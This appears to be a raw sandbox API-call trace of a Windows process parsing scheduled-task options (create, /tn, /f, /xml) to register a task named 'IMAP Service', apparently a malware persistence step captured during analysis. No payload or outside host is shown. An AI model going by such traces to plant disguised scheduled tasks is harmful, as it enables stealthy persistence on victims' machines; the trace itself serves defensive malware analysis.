[0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sc|") returned 4
[0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.872] lstrlenW (lpString="|sc|") returned 4
[0175.872] lstrlenW (lpString="|f|") returned 3
[0175.872] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0
[0175.872] SetLastError (dwErrCode=0x490)
[0175.872] lstrlenW (lpString="mo") returned 2
[0175.872] lstrlenW (lpString="mo") returned 2
[0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.872] lstrlenW (lpString="f") returned 1
[0175.872] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|mo|") returned 4
[0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.872] lstrlenW (lpString="|mo|") returned 4
[0175.872] lstrlenW (lpString="|f|") returned 3
[0175.872] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0
[0175.872] SetLastError (dwErrCode=0x490)
[0175.872] lstrlenW (lpString="d") returned 1
[0175.872] lstrlenW (lpString="d") returned 1
[0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.872] lstrlenW (lpString="f") returned 1
[0175.872] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|d|") returned 3
[0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.872] lstrlenW (lpString="|d|") returned 3
[0175.872] lstrlenW (lpString="|f|") returned 3
[0175.872] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0
[0175.872] SetLastError (dwErrCode=0x490)
[0175.872] lstrlenW (lpString="m") returned 1
[0175.872] lstrlenW (lpString="m") returned 1
[0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] lstrlenW (lpString="f") returned 1
[0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|m|") returned 3
[0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.873] lstrlenW (lpString="|m|") returned 3
[0175.873] lstrlenW (lpString="|f|") returned 3
[0175.873] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0
[0175.873] SetLastError (dwErrCode=0x490)
[0175.873] lstrlenW (lpString="i") returned 1
[0175.873] lstrlenW (lpString="i") returned 1
[0175.873] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] lstrlenW (lpString="f") returned 1
[0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|i|") returned 3
[0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.873] lstrlenW (lpString="|i|") returned 3
[0175.873] lstrlenW (lpString="|f|") returned 3
[0175.873] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0
[0175.873] SetLastError (dwErrCode=0x490)
[0175.873] lstrlenW (lpString="tn") returned 2
[0175.873] lstrlenW (lpString="tn") returned 2
[0175.873] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] lstrlenW (lpString="f") returned 1
[0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.873] lstrlenW (lpString="|tn|") returned 4
[0175.873] lstrlenW (lpString="|f|") returned 3
[0175.873] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0
[0175.873] SetLastError (dwErrCode=0x490)
[0175.873] lstrlenW (lpString="tr") returned 2
[0175.873] lstrlenW (lpString="tr") returned 2
[0175.873] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] lstrlenW (lpString="f") returned 1
[0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tr|") returned 4
[0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.873] lstrlenW (lpString="|tr|") returned 4
[0175.873] lstrlenW (lpString="|f|") returned 3
[0175.873] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0
[0175.873] SetLastError (dwErrCode=0x490)
[0175.873] lstrlenW (lpString="st") returned 2
[0175.873] lstrlenW (lpString="st") returned 2
[0175.873] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] lstrlenW (lpString="f") returned 1
[0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|st|") returned 4
[0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.873] lstrlenW (lpString="|st|") returned 4
[0175.873] lstrlenW (lpString="|f|") returned 3
[0175.873] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0
[0175.873] SetLastError (dwErrCode=0x490)
[0175.874] lstrlenW (lpString="sd") returned 2
[0175.874] lstrlenW (lpString="sd") returned 2
[0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] lstrlenW (lpString="f") returned 1
[0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sd|") returned 4
[0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.874] lstrlenW (lpString="|sd|") returned 4
[0175.874] lstrlenW (lpString="|f|") returned 3
[0175.874] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0
[0175.874] SetLastError (dwErrCode=0x490)
[0175.874] lstrlenW (lpString="ed") returned 2
[0175.874] lstrlenW (lpString="ed") returned 2
[0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] lstrlenW (lpString="f") returned 1
[0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ed|") returned 4
[0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.874] lstrlenW (lpString="|ed|") returned 4
[0175.874] lstrlenW (lpString="|f|") returned 3
[0175.874] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0
[0175.874] SetLastError (dwErrCode=0x490)
[0175.874] lstrlenW (lpString="it") returned 2
[0175.874] lstrlenW (lpString="it") returned 2
[0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] lstrlenW (lpString="f") returned 1
[0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|it|") returned 4
[0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.874] lstrlenW (lpString="|it|") returned 4
[0175.874] lstrlenW (lpString="|f|") returned 3
[0175.874] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0
[0175.874] SetLastError (dwErrCode=0x490)
[0175.874] lstrlenW (lpString="et") returned 2
[0175.874] lstrlenW (lpString="et") returned 2
[0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] lstrlenW (lpString="f") returned 1
[0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|et|") returned 4
[0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.874] lstrlenW (lpString="|et|") returned 4
[0175.874] lstrlenW (lpString="|f|") returned 3
[0175.874] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0
[0175.874] SetLastError (dwErrCode=0x490)
[0175.874] lstrlenW (lpString="k") returned 1
[0175.874] lstrlenW (lpString="k") returned 1
[0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] lstrlenW (lpString="f") returned 1
[0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|k|") returned 3
[0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.874] lstrlenW (lpString="|k|") returned 3
[0175.874] lstrlenW (lpString="|f|") returned 3
[0175.875] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0
[0175.875] SetLastError (dwErrCode=0x490)
[0175.875] lstrlenW (lpString="du") returned 2
[0175.875] lstrlenW (lpString="du") returned 2
[0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.875] lstrlenW (lpString="f") returned 1
[0175.875] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.875] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|du|") returned 4
[0175.875] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.875] lstrlenW (lpString="|du|") returned 4
[0175.875] lstrlenW (lpString="|f|") returned 3
[0175.875] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0
[0175.875] SetLastError (dwErrCode=0x490)
[0175.875] lstrlenW (lpString="ri") returned 2
[0175.875] lstrlenW (lpString="ri") returned 2
[0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.875] lstrlenW (lpString="f") returned 1
[0175.875] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.875] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ri|") returned 4
[0175.875] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.875] lstrlenW (lpString="|ri|") returned 4
[0175.875] lstrlenW (lpString="|f|") returned 3
[0175.875] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0
[0175.875] SetLastError (dwErrCode=0x490)
[0175.875] lstrlenW (lpString="z") returned 1
[0175.875] lstrlenW (lpString="z") returned 1
[0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.875] lstrlenW (lpString="f") returned 1
[0175.875] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.875] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|z|") returned 3
[0175.875] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.875] lstrlenW (lpString="|z|") returned 3
[0175.875] lstrlenW (lpString="|f|") returned 3
[0175.875] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0
[0175.875] SetLastError (dwErrCode=0x490)
[0175.875] lstrlenW (lpString="f") returned 1
[0175.875] lstrlenW (lpString="f") returned 1
[0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.875] lstrlenW (lpString="f") returned 1
[0175.875] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.875] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.875] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.875] lstrlenW (lpString="|f|") returned 3
[0175.875] lstrlenW (lpString="|f|") returned 3
[0175.875] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|"
[0175.875] SetLastError (dwErrCode=0x0)
[0175.875] SetLastError (dwErrCode=0x0)
[0175.875] SetLastError (dwErrCode=0x0)
[0175.875] lstrlenW (lpString="/tn") returned 3
[0175.875] lstrlenW (lpString="-/") returned 2
[0175.875] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0175.875] lstrlenW (lpString="create") returned 6
[0175.875] lstrlenW (lpString="create") returned 6
[0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] lstrlenW (lpString="tn") returned 2
[0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8
[0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.876] lstrlenW (lpString="|create|") returned 8
[0175.876] lstrlenW (lpString="|tn|") returned 4
[0175.876] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0
[0175.876] SetLastError (dwErrCode=0x490)
[0175.876] lstrlenW (lpString="?") returned 1
[0175.876] lstrlenW (lpString="?") returned 1
[0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] lstrlenW (lpString="tn") returned 2
[0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|?|") returned 3
[0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.876] lstrlenW (lpString="|?|") returned 3
[0175.876] lstrlenW (lpString="|tn|") returned 4
[0175.876] SetLastError (dwErrCode=0x490)
[0175.876] lstrlenW (lpString="s") returned 1
[0175.876] lstrlenW (lpString="s") returned 1
[0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] lstrlenW (lpString="tn") returned 2
[0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|s|") returned 3
[0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.876] lstrlenW (lpString="|s|") returned 3
[0175.876] lstrlenW (lpString="|tn|") returned 4
[0175.876] SetLastError (dwErrCode=0x490)
[0175.876] lstrlenW (lpString="u") returned 1
[0175.876] lstrlenW (lpString="u") returned 1
[0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] lstrlenW (lpString="tn") returned 2
[0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|u|") returned 3
[0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.876] lstrlenW (lpString="|u|") returned 3
[0175.876] lstrlenW (lpString="|tn|") returned 4
[0175.876] SetLastError (dwErrCode=0x490)
[0175.876] lstrlenW (lpString="p") returned 1
[0175.876] lstrlenW (lpString="p") returned 1
[0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] lstrlenW (lpString="tn") returned 2
[0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|p|") returned 3
[0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.876] lstrlenW (lpString="|p|") returned 3
[0175.876] lstrlenW (lpString="|tn|") returned 4
[0175.876] SetLastError (dwErrCode=0x490)
[0175.876] lstrlenW (lpString="ru") returned 2
[0175.876] lstrlenW (lpString="ru") returned 2
[0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.876] lstrlenW (lpString="tn") returned 2
[0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ru|") returned 4
[0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.877] lstrlenW (lpString="|ru|") returned 4
[0175.877] lstrlenW (lpString="|tn|") returned 4
[0175.877] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0
[0175.877] SetLastError (dwErrCode=0x490)
[0175.877] lstrlenW (lpString="rp") returned 2
[0175.877] lstrlenW (lpString="rp") returned 2
[0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] lstrlenW (lpString="tn") returned 2
[0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|rp|") returned 4
[0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.877] lstrlenW (lpString="|rp|") returned 4
[0175.877] lstrlenW (lpString="|tn|") returned 4
[0175.877] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0
[0175.877] SetLastError (dwErrCode=0x490)
[0175.877] lstrlenW (lpString="sc") returned 2
[0175.877] lstrlenW (lpString="sc") returned 2
[0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] lstrlenW (lpString="tn") returned 2
[0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sc|") returned 4
[0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.877] lstrlenW (lpString="|sc|") returned 4
[0175.877] lstrlenW (lpString="|tn|") returned 4
[0175.877] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0
[0175.877] SetLastError (dwErrCode=0x490)
[0175.877] lstrlenW (lpString="mo") returned 2
[0175.877] lstrlenW (lpString="mo") returned 2
[0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] lstrlenW (lpString="tn") returned 2
[0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|mo|") returned 4
[0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.877] lstrlenW (lpString="|mo|") returned 4
[0175.877] lstrlenW (lpString="|tn|") returned 4
[0175.877] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0
[0175.877] SetLastError (dwErrCode=0x490)
[0175.877] lstrlenW (lpString="d") returned 1
[0175.877] lstrlenW (lpString="d") returned 1
[0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] lstrlenW (lpString="tn") returned 2
[0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|d|") returned 3
[0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.877] lstrlenW (lpString="|d|") returned 3
[0175.877] lstrlenW (lpString="|tn|") returned 4
[0175.877] SetLastError (dwErrCode=0x490)
[0175.877] lstrlenW (lpString="m") returned 1
[0175.877] lstrlenW (lpString="m") returned 1
[0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.878] lstrlenW (lpString="tn") returned 2
[0175.878] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.878] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|m|") returned 3
[0175.878] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.878] lstrlenW (lpString="|m|") returned 3
[0175.878] lstrlenW (lpString="|tn|") returned 4
[0175.878] SetLastError (dwErrCode=0x490)
[0175.878] lstrlenW (lpString="i") returned 1
[0175.878] lstrlenW (lpString="i") returned 1
[0175.878] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.878] lstrlenW (lpString="tn") returned 2
[0175.878] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.878] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|i|") returned 3
[0175.878] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.878] lstrlenW (lpString="|i|") returned 3
[0175.878] lstrlenW (lpString="|tn|") returned 4
[0175.878] SetLastError (dwErrCode=0x490)
[0175.878] lstrlenW (lpString="tn") returned 2
[0175.878] lstrlenW (lpString="tn") returned 2
[0175.878] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.878] lstrlenW (lpString="tn") returned 2
[0175.878] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.878] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.878] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.878] lstrlenW (lpString="|tn|") returned 4
[0175.878] lstrlenW (lpString="|tn|") returned 4
[0175.878] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|"
[0175.878] SetLastError (dwErrCode=0x0)
[0175.878] SetLastError (dwErrCode=0x0)
[0175.878] lstrlenW (lpString="IMAP Service") returned 12
[0175.878] lstrlenW (lpString="-/") returned 2
[0175.878] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0
[0175.878] SetLastError (dwErrCode=0x490)
[0175.878] SetLastError (dwErrCode=0x490)
[0175.878] SetLastError (dwErrCode=0x0)
[0175.878] lstrlenW (lpString="IMAP Service") returned 12
[0175.878] StrChrIW (lpStart="IMAP Service", wMatch=0x3a) returned 0x0
[0175.878] SetLastError (dwErrCode=0x490)
[0175.878] SetLastError (dwErrCode=0x0)
[0175.878] lstrlenW (lpString="IMAP Service") returned 12
[0175.878] SetLastError (dwErrCode=0x0)
[0175.878] SetLastError (dwErrCode=0x0)
[0175.878] lstrlenW (lpString="/xml") returned 4
[0175.878] lstrlenW (lpString="-/") returned 2
[0175.878] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0175.878] lstrlenW (lpString="create") returned 6
[0175.878] lstrlenW (lpString="create") returned 6
[0175.878] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.878] lstrlenW (lpString="xml") returned 3
[0175.878] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.878] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8
[0175.878] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.878] lstrlenW (lpString="|create|") returned 8
[0175.878] lstrlenW (lpString="|xml|") returned 5
[0175.878] StrStrIW (lpFirst="|create|", lpSrch="|xml|") returned 0x0
[0175.879] SetLastError (dwErrCode=0x490)
[0175.879] lstrlenW (lpString="?") returned 1
[0175.879] lstrlenW (lpString="?") returned 1
[0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] lstrlenW (lpString="xml") returned 3
[0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|?|") returned 3
[0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.879] lstrlenW (lpString="|?|") returned 3
[0175.879] lstrlenW (lpString="|xml|") returned 5
[0175.879] SetLastError (dwErrCode=0x490)
[0175.879] lstrlenW (lpString="s") returned 1
[0175.879] lstrlenW (lpString="s") returned 1
[0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] lstrlenW (lpString="xml") returned 3
[0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
